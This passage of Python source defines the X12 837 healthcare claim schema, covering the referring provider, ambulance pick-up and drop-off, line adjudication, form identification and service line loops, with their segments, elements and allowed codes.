"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Ordering Provider Secondary Identification",
position="5250",
repeat="20",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
Segment(
"PER",
Properties(
desc="Ordering Provider Contact Information",
position="5300",
repeat="1",
req_sit="S",
syntax="P0304 P0506 P0708",
),
Element(
"PER01",
Properties(
desc="Contact Function Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["IC"],
),
),
Element(
"PER02",
Properties(
desc="Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=2,
codes=[],
),
),
Element(
"PER03",
Properties(
desc="Communication Number Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=3,
codes=["EM", "FX", "TE"],
),
),
Element(
"PER04",
Properties(
desc="Communication Number",
req_sit="R",
data_type=("AN", "1", "256"),
position=4,
codes=[],
),
),
Element(
"PER05",
Properties(
desc="Communication Number Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=5,
codes=["EM", "EX", "FX", "TE"],
),
),
Element(
"PER06",
Properties(
desc="Communication Number",
req_sit="S",
data_type=("AN", "1", "256"),
position=6,
codes=[],
),
),
Element(
"PER07",
Properties(
desc="Communication Number Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=7,
codes=["EM", "EX", "FX", "TE"],
),
),
Element(
"PER08",
Properties(
desc="Communication Number",
req_sit="S",
data_type=("AN", "1", "256"),
position=8,
codes=[],
),
),
Element(
"PER09",
Properties(
desc="Contact Inquiry Reference",
req_sit="N",
data_type=("AN", "1", "20"),
position=9,
codes=[],
),
),
),
)
parsed_837_2420F = Loop(
"2420F",
Properties(
desc="Referring Provider Name",
looptype="",
position="5000",
repeat="2",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Referring Provider Name",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DN", "P3"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Referring Provider Secondary Identification",
position="5250",
repeat="20",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
)
parsed_837_2420G = Loop(
"2420G",
Properties(
desc="Ambulance Pick-up Location",
looptype="",
position="5310",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Ambulance Pick-up Location",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["PW"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Ambulance Pick-up Location Address",
position="5140",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Ambulance Pick-up Location City, State, ZIP Code",
position="5200",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
)
parsed_837_2420H = Loop(
"2420H",
Properties(
desc="Ambulance Drop-off Location",
looptype="",
position="5380",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Ambulance Drop-off Location",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["45"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Ambulance Drop-off Location Address",
position="5140",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Ambulance Drop-off Location City, State, ZIP Code",
position="5200",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
)
parsed_837_2430 = Loop(
"2430",
Properties(
desc="Line Adjudication Information",
looptype="",
position="5400",
repeat="15",
req_sit="S",
),
Segment(
"SVD",
Properties(
desc="Line Adjudication Information",
position="5400",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"SVD01",
Properties(
desc="Identification Code",
req_sit="R",
data_type=("AN", "2", "80"),
position=1,
codes=[],
),
),
Element(
"SVD02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Composite(
"C003",
Properties(
desc="Composite Medical Procedure Identifier",
refdes="",
repeat="",
req_sit="R",
seq="03",
),
Element(
"SVD03-01",
Properties(
desc="Product/Service ID Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=0,
codes=["ER", "HC", "IV", "WK"],
),
),
Element(
"SVD03-02",
Properties(
desc="Product/Service ID",
req_sit="R",
data_type=("AN", "1", "48"),
position=1,
codes=[],
),
),
Element(
"SVD03-03",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=2,
codes=[],
),
),
Element(
"SVD03-04",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=3,
codes=[],
),
),
Element(
"SVD03-05",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=4,
codes=[],
),
),
Element(
"SVD03-06",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=5,
codes=[],
),
),
Element(
"SVD03-07",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=6,
codes=[],
),
),
Element(
"SVD03-08",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=7,
codes=[],
),
),
),
Element(
"SVD04",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=4,
codes=[],
),
),
Element(
"SVD05",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"SVD06",
Properties(
desc="Assigned Number",
req_sit="S",
data_type=("N0", "1", "6"),
position=6,
codes=[],
),
),
),
Segment(
"CAS",
Properties(
desc="Line Adjustment",
position="5450",
repeat="5",
req_sit="S",
syntax="L050607 C0605 C0705 L080910 C0908 C1008 L111213 C1211 C1311 L141516 C1514 C1614 L171819 C1817 C1917",
),
Element(
"CAS01",
Properties(
desc="Claim Adjustment Group Code",
req_sit="R",
data_type=("ID", "1", "2"),
position=1,
codes=["CO", "CR", "OA", "PI", "PR"],
),
),
Element(
"CAS02",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="R",
data_type=("ID", "1", "5"),
position=2,
codes=[],
),
),
Element(
"CAS03",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=3,
codes=[],
),
),
Element(
"CAS04",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=4,
codes=[],
),
),
Element(
"CAS05",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=5,
codes=[],
),
),
Element(
"CAS06",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=6,
codes=[],
),
),
Element(
"CAS07",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=7,
codes=[],
),
),
Element(
"CAS08",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=8,
codes=[],
),
),
Element(
"CAS09",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=9,
codes=[],
),
),
Element(
"CAS10",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=10,
codes=[],
),
),
Element(
"CAS11",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=11,
codes=[],
),
),
Element(
"CAS12",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=12,
codes=[],
),
),
Element(
"CAS13",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=13,
codes=[],
),
),
Element(
"CAS14",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=14,
codes=[],
),
),
Element(
"CAS15",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=15,
codes=[],
),
),
Element(
"CAS16",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=16,
codes=[],
),
),
Element(
"CAS17",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=17,
codes=[],
),
),
Element(
"CAS18",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=18,
codes=[],
),
),
Element(
"CAS19",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=19,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Line Check or Remittance Date",
position="5500",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["573"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"AMT",
Properties(
desc="Remaining Patient Liability",
position="5505",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["EAF"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
),
)
parsed_837_2440 = Loop(
"2440",
Properties(
desc="Form Identification Code",
looptype="",
position="5510",
repeat=">1",
req_sit="S",
),
Segment(
"LQ",
Properties(
desc="Form Identification Code",
position="5510",
repeat="1",
req_sit="R",
syntax="C0102",
),
Element(
"LQ01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["AS", "UT"],
),
),
Element(
"LQ02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=2,
codes=[],
),
),
),
Segment(
"FRM",
Properties(
desc="Supporting Documentation",
position="5520",
repeat="99",
req_sit="R",
syntax="R02030405",
),
Element(
"FRM01",
Properties(
desc="Assigned Identification",
req_sit="R",
data_type=("AN", "1", "20"),
position=1,
codes=[],
),
),
Element(
"FRM02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "W", "Y"],
),
),
Element(
"FRM03",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"FRM04",
Properties(
desc="Date",
req_sit="S",
data_type=("DT", "8", "8"),
position=4,
codes=[],
),
),
Element(
"FRM05",
Properties(
desc="Percent, Decimal Format",
req_sit="S",
data_type=("R", "1", "6"),
position=5,
codes=[],
),
),
),
)
parsed_837_2400 = Loop(
"2400",
Properties(
desc="Service Line Number",
looptype="",
position="3650",
repeat="50",
req_sit="R",
),
Segment(
"LX",
Properties(
desc="Service Line Number",
position="3650",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"LX01",
Properties(
desc="Assigned Number",
req_sit="R",
data_type=("N0", "1", "6"),
position=1,
codes=[],
),
),
),
Segment(
"SV1",
Properties(
desc="Professional Service",
position="3700",
repeat="1",
req_sit="R",
syntax="P0304",
),
Composite(
"C003",
Properties(
desc="Composite Medical Procedure Identifier",
refdes="",
repeat="",
req_sit="R",
seq="01",
),
Element(
"SV101-01",
Properties(
desc="Product/Service ID Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=0,
codes=["ER", "HC", "IV", "WK"],
),
),
Element(
"SV101-02",
Properties(
desc="Product/Service ID",
req_sit="R",
data_type=("AN", "1", "48"),
position=1,
codes=[],
),
),
Element(
"SV101-03",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=2,
codes=[],
),
),
Element(
"SV101-04",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=3,
codes=[],
),
),
Element(
"SV101-05",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=4,
codes=[],
),
),
Element(
"SV101-06",
Properties(
desc="Procedure Modifier",
req_sit="S",
data_type=("AN", "2", "2"),
position=5,
codes=[],
),
),
Element(
"SV101-07",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=6,
codes=[],
),
),
Element(
"SV101-08",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=7,
codes=[],
),
),
),
Element(
"SV102",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"SV103",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=3,
codes=["MJ", "UN"],
),
),
Element(
"SV104",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=4,
codes=[],
),
),
Element(
"SV105",
Properties(
desc="Facility Code Value",
req_sit="S",
data_type=("AN", "1", "2"),
position=5,
codes=[],
),
),
Element(
"SV106",
Properties(
desc="Service Type Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=6,
codes=[],
),
),
Composite(
"C004",
Properties(
desc="Composite Diagnosis Code Pointer",
refdes="",
repeat="",
req_sit="R",
seq="07",
),
Element(
"SV107-01",
Properties(
desc="Diagnosis Code Pointer",
req_sit="R",
data_type=("N0", "1", "2"),
position=0,
codes=[
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"10",
"11",
"12",
],
),
),
Element(
"SV107-02",
Properties(
desc="Diagnosis Code Pointer",
req_sit="S",
data_type=("N0", "1", "2"),
position=1,
codes=[
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"10",
"11",
"12",
],
),
),
Element(
"SV107-03",
Properties(
desc="Diagnosis Code Pointer",
req_sit="S",
data_type=("N0", "1", "2"),
position=2,
codes=[
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"10",
"11",
"12",
],
),
),
Element(
"SV107-04",
Properties(
desc="Diagnosis Code Pointer",
req_sit="S",
data_type=("N0", "1", "2"),
position=3,
codes=[
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"10",
"11",
"12",
],
),
),
),
Element(
"SV108",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=8,
codes=[],
),
),
Element(
"SV109",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=9,
codes=["Y"],
),
),
Element(
"SV110",
Properties(
desc="Multiple Procedure Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=10,
codes=[],
),
),
Element(
"SV111",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=11,
codes=["Y"],
),
),
Element(
"SV112",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=12,
codes=["Y"],
),
),
Element(
"SV113",
Properties(
desc="Review Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=13,
codes=[],
),
),
Element(
"SV114",
Properties(
desc="National or Local Assigned Review Value",
req_sit="N",
data_type=("AN", "1", "2"),
position=14,
codes=[],
),
),
Element(
"SV115",
Properties(
desc="Copay Status Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=15,
codes=["0"],
),
),
Element(
"SV116",
Properties(
desc="Health Care Professional Shortage Area Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=16,
codes=[],
),
),
Element(
"SV117",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=17,
codes=[],
),
),
Element(
"SV118",
Properties(
desc="Postal Code",
req_sit="N",
data_type=("ID", "3", "15"),
position=18,
codes=[],
),
),
Element(
"SV119",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=19,
codes=[],
),
),
Element(
"SV120",
Properties(
desc="Level of Care Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=20,
codes=[],
),
),
Element(
"SV121",
Properties(
desc="Provider Agreement Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=21,
codes=[],
),
),
),
Segment(
"SV5",
Properties(
desc="Durable Medical Equipment Service",
position="4000",
repeat="1",
req_sit="S",
syntax="R0405 C0604",
),
Composite(
"C003",
Properties(
desc="Composite Medical Procedure Identifier",
refdes="",
repeat="",
req_sit="R",
seq="01",
),
Element(
"SV501-01",
Properties(
desc="Product/Service ID Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=0,
codes=["HC"],
),
),
Element(
"SV501-02",
Properties(
desc="Product/Service ID",
req_sit="R",
data_type=("AN", "1", "48"),
position=1,
codes=[],
),
),
Element(
"SV501-03",
Properties(
desc="Procedure Modifier",
req_sit="N",
data_type=("AN", "2", "2"),
position=2,
codes=[],
),
),
Element(
"SV501-04",
Properties(
desc="Procedure Modifier",
req_sit="N",
data_type=("AN", "2", "2"),
position=3,
codes=[],
),
),
Element(
"SV501-05",
Properties(
desc="Procedure Modifier",
req_sit="N",
data_type=("AN", "2", "2"),
position=4,
codes=[],
),
),
Element(
"SV501-06",
Properties(
desc="Procedure Modifier",
req_sit="N",
data_type=("AN", "2", "2"),
position=5,
codes=[],
),
),
Element(
"SV501-07",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=6,
codes=[],
),
),
Element(
"SV501-08",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=7,
codes=[],
),
),
),
Element(
"SV502",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=2,
codes=["DA"],
),
),
Element(
"SV503",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=3,
codes=[],
),
),
Element(
"SV504",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"SV505",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=5,
codes=[],
),
),
Element(
"SV506",
Properties(
desc="Frequency Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=6,
codes=["1", "4", "6"],
),
),
Element(
"SV507",
Properties(
desc="Prognosis Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=7,
codes=[],
),
),
),
Segment(
"PWK",
Properties(
desc="Line Supplemental Information",
position="4200",
repeat="10",
req_sit="S",
syntax="P0506",
),
Element(
"PWK01",
Properties(
desc="Report Type Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=[
"03",
"04",
"05",
"06",
"07",
"08",
"09",
"10",
"11",
"13",
"15",
"21",
"A3",
"A4",
"AM",
"AS",
"B2",
"B3",
"B4",
"BR",
"BS",
"BT",
"CB",
"CK",
"CT",
"D2",
"DA",
"DB",
"DG",
"DJ",
"DS",
"EB",
"HC",
"HR",
"I5",
"IR",
"LA",
"M1",
"MT",
"NN",
"OB",
"OC",
"OD",
"OE",
"OX",
"OZ",
"P4",
"P5",
"PE",
"PN",
"PO",
"PQ",
"PY",
"PZ",
"RB",
"RR",
"RT",
"RX",
"SG",
"V5",
"XP",
],
),
),
Element(
"PWK02",
Properties(
desc="Report Transmission Code",
req_sit="R",
